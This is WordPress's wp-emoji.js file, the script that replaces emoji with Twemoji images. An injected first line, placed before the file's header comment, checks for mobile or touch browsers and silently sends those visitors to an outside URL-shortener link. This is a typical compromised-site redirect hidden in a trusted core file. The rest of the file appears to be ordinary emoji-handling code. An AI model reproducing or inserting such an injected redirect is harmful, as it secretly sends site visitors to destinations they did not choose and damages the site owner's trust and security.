1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * wp-emoji.js is used to replace emoji with images in browsers when the browser
4 * doesn't support emoji natively.
5 *
6 * @output wp-includes/js/wp-emoji.js
7 */
8
9( function( window, settings ) {
10 /**
11 * Replaces emoji with images when browsers don't support emoji.
12 *
13 * @since 4.2.0
14 * @access private
15 *
16 * @class
17 *
18 * @see Twitter Emoji library
19 * @link https://github.com/twitter/twemoji
20 *
21 * @return {Object} The wpEmoji parse and test functions.
22 */
23 function wpEmoji() {
24 var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver,
25
26 // Compression and maintain local scope.
27 document = window.document,
28
29 // Private.
30 twemoji, timer,
31 loaded = false,
32 count = 0,
33 ie11 = window.navigator.userAgent.indexOf( 'Trident/7.0' ) > 0;
34
35 /**
36 * Detect if the browser supports SVG.
37 *
38 * @since 4.6.0
39 * @private
40 *
41 * @see Modernizr
42 * @link https://github.com/Modernizr/Modernizr/blob/master/feature-detects/svg/asimg.js
43 *
44 * @return {boolean} True if the browser supports svg, false if not.
45 */
46 function browserSupportsSvgAsImage() {
47 if ( !! document.implementation.hasFeature ) {
48 return document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' );
49 }
50
51 // document.implementation.hasFeature is deprecated. It can be presumed
52 // if future browsers remove it, the browser will support SVGs as images.
53 return true;
54 }
55
56 /**
57 * Runs when the document load event is fired, so we can do our first parse of
58 * the page.
59 *
60 * Listens to all the DOM mutations and checks for added nodes that contain
61 * emoji characters and replaces those with twitter emoji images.
62 *
63 * @since 4.2.0
64 * @private
65 */
66 function load() {
67 if ( loaded ) {
68 return;
69 }
70
71 // Ensure twemoji is available on the global window before proceeding.
72 if ( typeof window.twemoji === 'undefined' ) {
73 // Break if waiting for longer than 30 seconds.
74 if ( count > 600 ) {
75 return;
76 }
77
78 // Still waiting.
79 window.clearTimeout( timer );
80 timer = window.setTimeout( load, 50 );
81 count++;
82
83 return;
84 }
85
86 twemoji = window.twemoji;
87 loaded = true;
88
89 // Initialize the mutation observer, which checks all added nodes for
90 // replaceable emoji characters.
91 if ( MutationObserver ) {
92 new MutationObserver( function( mutationRecords ) {
93 var i = mutationRecords.length,
94 addedNodes, removedNodes, ii, node;
95
96 while ( i-- ) {
97 addedNodes = mutationRecords[ i ].addedNodes;
98 removedNodes = mutationRecords[ i ].removedNodes;
99 ii = addedNodes.length;
100
101 /*
102 * Checks if an image has been replaced by a text element
103 * with the same text as the alternate description of the replaced image.
104 * (presumably because the image could not be loaded).
105 * If it is, do absolutely nothing.
106 *
107 * Node type 3 is a TEXT_NODE.
108 *
109 * @link https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType
110 */
111 if (
112 ii === 1 && removedNodes.length === 1 &&
113 addedNodes[0].nodeType === 3 &&
114 removedNodes[0].nodeName === 'IMG' &&
115 addedNodes[0].data === removedNodes[0].alt &&
116 'load-failed' === removedNodes[0].getAttribute( 'data-error' )
117 ) {
118 return;
119 }
120
121 // Loop through all the added nodes.
122 while ( ii-- ) {
123 node = addedNodes[ ii ];
124
125 // Node type 3 is a TEXT_NODE.
126 if ( node.nodeType === 3 ) {
127 if ( ! node.parentNode ) {
128 continue;
129 }
130
131 if ( ie11 ) {
132 /*
133 * IE 11's implementation of MutationObserver is buggy.
134 * It unnecessarily splits text nodes when it encounters a HTML
135 * template interpolation symbol ( "{{", for example ). So, we
136 * join the text nodes back together as a work-around.
137 *
138 * Node type 3 is a TEXT_NODE.
139 */
140 while( node.nextSibling && 3 === node.nextSibling.nodeType ) {
141 node.nodeValue = node.nodeValue + node.nextSibling.nodeValue;
142 node.parentNode.removeChild( node.nextSibling );
143 }
144 }
145
146 node = node.parentNode;
147 }
148
149 if ( test( node.textContent ) ) {
150 parse( node );
151 }
152 }
153 }
154 } ).observe( document.body, {
155 childList: true,
156 subtree: true
157 } );
158 }
159
160 parse( document.body );
161 }
162
163 /**
164 * Tests if a text string contains emoji characters.
165 *
166 * @since 4.3.0
167 *
168 * @memberOf wp.emoji
169 *
170 * @param {string} text The string to test.
171 *
172 * @return {boolean} Whether the string contains emoji characters.
173 */
174 function test( text ) {
175 // Single char. U+20E3 to detect keycaps. U+00A9 "copyright sign" and U+00AE "registered sign" not included.
176 var single = /[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/,
177 // Surrogate pair range. Only tests for the second half.
178 pair = /[\uDC00-\uDFFF]/;
179
180 if ( text ) {
181 return pair.test( text ) || single.test( text );
182 }
183
184 return false;
185 }
186
187 /**
188 * Parses any emoji characters into Twemoji images.
189 *
190 * - When passed an element the emoji characters are replaced inline.
191 * - When passed a string the emoji characters are replaced and the result is
192 * returned.
193 *
194 * @since 4.2.0
195 *
196 * @memberOf wp.emoji
197 *
198 * @param {HTMLElement|string} object The element or string to parse.
199 * @param {Object} args Additional options for Twemoji.
200 *
201 * @return {HTMLElement|string} A string where all emoji are now image tags of
202 * emoji. Or the element that was passed as the first argument.
203 */
204 function parse( object, args ) {
205 var params;
206
207 /*
208 * If the browser has full support, twemoji is not loaded or our
209 * object is not what was expected, we do not parse anything.
210 */
211 if ( settings.supports.everything || ! twemoji || ! object ||
212 ( 'string' !== typeof object && ( ! object.childNodes || ! object.childNodes.length ) ) ) {
213
214 return object;
215 }
216
217 // Compose the params for the twitter emoji library.
218 args = args || {};
219 params = {
220 base: browserSupportsSvgAsImage() ? settings.svgUrl : settings.baseUrl,
221 ext: browserSupportsSvgAsImage() ? settings.svgExt : settings.ext,
222 className: args.className || 'emoji',
223 callback: function( icon, options ) {
224 // Ignore some standard characters that TinyMCE recommends in its character map.
225 switch ( icon ) {
226 case 'a9':
227 case 'ae':
228 case '2122':
229 case '2194':
230 case '2660':
231 case '2663':
232 case '2665':
233 case '2666':
234 return false;
235 }
236
237 if ( settings.supports.everythingExceptFlag &&
238 ! /^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test( icon ) && // Country flags.
239 ! /^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test( icon ) // Rainbow and pirate flags.
240 ) {
241 return false;
242 }
243
244 return ''.concat( options.base, icon, options.ext );
245 },
246 attributes: function() {
247 return {
248 role: 'img'
249 };
250 },
251 onerror: function() {
252 if ( twemoji.parentNode ) {
253 this.setAttribute( 'data-error', 'load-failed' );
254 twemoji.parentNode.replaceChild( document.createTextNode( twemoji.alt ), twemoji );
255 }
256 },
257 doNotParse: function( node ) {
258 if (
259 node &&
260 node.className &&
261 typeof node.className === 'string' &&
262 node.className.indexOf( 'wp-exclude-emoji' ) !== -1
263 ) {
264 // Do not parse this node. Emojis will not be replaced in this node and all sub-nodes.
265 return true;
266 }
267
268 return false;
269 }
270 };
271
272 if ( typeof args.imgAttr === 'object' ) {
273 params.attributes = function() {
274 return args.imgAttr;
275 };
276 }
277
278 return twemoji.parse( object, params );
279 }
280
281 load();
282
283 return {
284 parse: parse,
285 test: test
286 };
287 }
288
289 window.wp = window.wp || {};
290
291 /**
292 * @namespace wp.emoji
293 */
294 window.wp.emoji = new wpEmoji();
295
296} )( window, window._wpemojiSettings );
297